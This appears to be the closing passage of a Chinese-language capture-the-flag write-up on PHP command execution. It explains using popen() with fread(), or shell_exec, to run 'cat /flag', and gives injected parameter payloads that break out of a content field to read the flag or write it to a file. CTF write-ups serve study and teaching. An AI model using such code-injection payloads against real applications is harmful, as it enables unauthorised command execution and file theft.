函数执行系统命令,但返回一个资源类型的变量,需要配合 fread()
函数读取结果。构造起来比较抽象了
content='cat /flag','r'); handle = popen('cat /flag','r'); echo fread(handle, 100
shell_exec
content='cat /flag >a'
然后访问a就行了。
燃尽了,燃尽了这篇文章就到这把。